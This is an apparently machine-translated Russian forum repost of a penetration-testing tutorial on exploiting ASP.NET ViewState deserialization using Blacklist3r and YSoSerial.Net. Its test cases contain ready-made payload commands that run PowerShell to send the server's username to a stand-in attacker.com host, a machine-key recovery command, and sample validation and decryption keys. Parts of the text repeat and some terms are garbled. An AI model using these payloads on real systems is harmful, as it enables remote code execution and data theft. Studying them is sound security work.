В этом посте
Blacklist3r используется для идентификации использования предварительно совместно используемых (предварительно опубликованных) ключей в приложении для шифрования и дешифрования файлов cookie для проверки подлинности форм, ViewState и т. Д.
Мы обсудили интересный случай предварительно опубликованных ключей машины, который привел к обходу аутентификации.
Как получить MachineKey?
Есть несколько способов, но не ограничиваясь этим, получить ключ компьютера, используемый приложением .NET:
Сооруш Далили (@irsdl) написал интересную
Давайте сначала разберемся, что такое ViewState и каковы его атрибуты.
Что такое ViewState?
ViewState - это метод, который среда ASP.NET использует по умолчанию для сохранения значений страниц и элементов управления между веб-страницами. При отображении HTML-кода страницы текущее состояние страницы и значения, которые необходимо сохранить во время обратной передачи, сериализуются в строки в кодировке base64 и выводятся в скрытом поле или полях ViewState.
Следующие свойства или комбинации свойств применяются к информации ViewState
Тестовые случаи
В таблице ниже перечислены возможные сценарии использования недостатков десериализации ViewState.
Контрольный пример: 1 - EnableViewStateMac = false и viewStateEncryptionMode = false
Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, ViewState MAC и Encryption оба отключены, что означает, что существует возможность подделки ViewState без ключа машины.
Можно просто использовать YSoSerial.Net для генерации сериализованной полезной нагрузки для выполнения удаленного выполнения кода.
Команда, используемая для генерации полезной нагрузки с использованием YSoSerial.Net.
Если уязвимость десериализации ViewState успешно используется, управляемый злоумышленником сервер получит внешний запрос, содержащий имя пользователя.
Контрольный пример: 2 - .Net <4.5 и EnableViewStateMac = true & ViewStateEncryptionMode = false
Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, ViewState MAC включен, а шифрование отключено, что означает, что невозможно изменить ViewState без MachineKey (Validationkey).
Получение MachineKey с использованием Blacklist3r
Используйте Blacklist3r для определения использования предварительно общего ключа компьютера с помощью следующей команды:
Получение MachineKey с использованием Blacklist3r
Контрольный пример: 4 - .Net> = 4.5 и EnableViewStateMac = true / false и ViewStateEncryptionMode = true / false, за исключением того, что оба атрибута имеют значение false
Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, шифрование включено, что означает, что невозможно изменить ViewState без MachineKey (Validationkey и Decryptionkey).
Получение MachineKey с использованием Blacklist3r
Здесь мы будем использовать blacklist3r для определения использования предварительно общего ключа компьютера
Запустите следующую команду, используя Blacklist3r
–Encrypteddata = {значение параметра __VIEWSTATE}
- IISDirPath = {Путь к каталогу веб-сайта в IIS}
–TargetPagePath = {Путь к целевой странице в приложении}
Для более подробного описания IISDirPath и TargetPagePath.
После того, как действительный ключ компьютера определен, следующим шагом является создание сериализованной полезной нагрузки с использованием YSoSerial.Net .
Если уязвимость десериализации ViewState успешно используется, управляемый злоумышленником сервер получит внешний запрос, содержащий имя пользователя.
PoC Успешной Эксплуатации
Для всех тестовых случаев, если полезная нагрузка ViewState YSoSerial.Net работает успешно, сервер отвечает «500 Внутренняя ошибка сервера» с содержанием ответа «Информация о состоянии недопустима для этой страницы и может быть повреждена», и мы получаем запрос OOB как показано на рисунках ниже:
внешний запрос с текущим именем пользователя
Источник:
Ссылка скрыта от гостей
рассказывает о различных тестовых примерах для использования десериализации ASP.NET ViewState с использованием Blacklist3r и YSoSerial.Net.Blacklist3r используется для идентификации использования предварительно совместно используемых (предварительно опубликованных) ключей в приложении для шифрования и дешифрования файлов cookie для проверки подлинности форм, ViewState и т. Д.
Мы обсудили интересный случай предварительно опубликованных ключей машины, который привел к обходу аутентификации.
Ссылка скрыта от гостей
Как получить MachineKey?
Есть несколько способов, но не ограничиваясь этим, получить ключ компьютера, используемый приложением .NET:
- Blacklist3r: если приложение использует общий ключ компьютера
- Атака обхода каталога для получения доступа к файлу web.config
- Раскрытие информации
Сооруш Далили (@irsdl) написал интересную
Ссылка скрыта от гостей
об использовании десериализации в ASP.NET через ViewState со знанием о проверке, ключах дешифрования и алгоритмах. Это где Blacklist3r может использоваться, чтобы определить общие ключи машинно- т он требуется полезная нагрузка может быть создано с помощью YSoSerial.Net. YSoSerial.Net поддерживает несколько гаджетов для создания полезных нагрузок. Для демонстрации мы использовали гаджет «TextFormattingRunProperties» и « TypeConfuseDelegate».Давайте сначала разберемся, что такое ViewState и каковы его атрибуты.
Что такое ViewState?
ViewState - это метод, который среда ASP.NET использует по умолчанию для сохранения значений страниц и элементов управления между веб-страницами. При отображении HTML-кода страницы текущее состояние страницы и значения, которые необходимо сохранить во время обратной передачи, сериализуются в строки в кодировке base64 и выводятся в скрытом поле или полях ViewState.
Следующие свойства или комбинации свойств применяются к информации ViewState
- Base64
- Может быть определено с помощью атрибутов EnableViewStateMac и ViewStateEncryptionMode, для которых установлено значение false
- Base64 + MAC (код аутентификации сообщения) включен
- Может быть определен с помощью атрибута EnableViewStateMac, установленного в true
- Base64 + Зашифрованный
- Может быть определен с помощью атрибута viewStateEncryptionMode, установленного в true
- В 2014 году с ASP.NET> = 1.1: было выпущено исправление, запрещающее атрибут «EnableViewStateMac», определенный для приложения.
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей(исправление, запрещающее настройки)
-
- 2016 с ASP.NET> = 4.5: в соответствии с рекомендациями по безопасности сервер Windows обеспечивает принудительное включение и шифрование ViewState для MAC, а значение атрибутов «EnableViewStateMac» и «ViewStateEncryptionMode» игнорируется, если для него установлено значение false.
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
Тестовые случаи
В таблице ниже перечислены возможные сценарии использования недостатков десериализации ViewState.
Контрольный пример: 1 - EnableViewStateMac = false и viewStateEncryptionMode = false
- Ключ машины не требуется
Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, ViewState MAC и Encryption оба отключены, что означает, что существует возможность подделки ViewState без ключа машины.
Можно просто использовать YSoSerial.Net для генерации сериализованной полезной нагрузки для выполнения удаленного выполнения кода.
Команда, используемая для генерации полезной нагрузки с использованием YSoSerial.Net.
Код:
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c " powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName "
Если уязвимость десериализации ViewState успешно используется, управляемый злоумышленником сервер получит внешний запрос, содержащий имя пользователя.
Ссылка скрыта от гостей
Контрольный пример: 2 - .Net <4.5 и EnableViewStateMac = true & ViewStateEncryptionMode = false
- Требуется ключ машины
Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, ViewState MAC включен, а шифрование отключено, что означает, что невозможно изменить ViewState без MachineKey (Validationkey).
Получение MachineKey с использованием Blacklist3r
Используйте Blacklist3r для определения использования предварительно общего ключа компьютера с помощью следующей команды:
Получение MachineKey с использованием Blacklist3r
- Модуль Blacklist3r для этого случая находится в стадии разработки.
- Удалите параметр «__VIEWSTATEENCRYPTED» из запроса, чтобы использовать уязвимость десериализации ViewState, в противном случае он вернет ошибку проверки MAC Viewstate, и эксплойт завершится неудачно, как показано на рисунке:
Контрольный пример: 4 - .Net> = 4.5 и EnableViewStateMac = true / false и ViewStateEncryptionMode = true / false, за исключением того, что оба атрибута имеют значение false
- Требуется ключ машины
Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, шифрование включено, что означает, что невозможно изменить ViewState без MachineKey (Validationkey и Decryptionkey).
Получение MachineKey с использованием Blacklist3r
Здесь мы будем использовать blacklist3r для определения использования предварительно общего ключа компьютера
Запустите следующую команду, используя Blacklist3r
Код:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x / SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr / GZ + EP0fbrlBEAFOrq5S8vMknE / ZQ / 8NNyWLwg == --decrypt --purpose = ViewState --valalgo = sha1 --decalgo = АЕС --IISDirPath "/" - -TargetPagePath "/Content/default.aspx"
–Encrypteddata = {значение параметра __VIEWSTATE}
- IISDirPath = {Путь к каталогу веб-сайта в IIS}
–TargetPagePath = {Путь к целевой странице в приложении}
Для более подробного описания IISDirPath и TargetPagePath.
Ссылка скрыта от гостей
После того, как действительный ключ компьютера определен, следующим шагом является создание сериализованной полезной нагрузки с использованием YSoSerial.Net .
Код:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path = "/ content / default.aspx" --apppath = " /»--decryptionalg = "AES" --decryptionkey = "F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg = "SHA1" --validationkey = "C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Если уязвимость десериализации ViewState успешно используется, управляемый злоумышленником сервер получит внешний запрос, содержащий имя пользователя.
Ссылка скрыта от гостей
PoC Успешной Эксплуатации
Для всех тестовых случаев, если полезная нагрузка ViewState YSoSerial.Net работает успешно, сервер отвечает «500 Внутренняя ошибка сервера» с содержанием ответа «Информация о состоянии недопустима для этой страницы и может быть повреждена», и мы получаем запрос OOB как показано на рисунках ниже:
внешний запрос с текущим именем пользователя
Источник:
Ссылка скрыта от гостей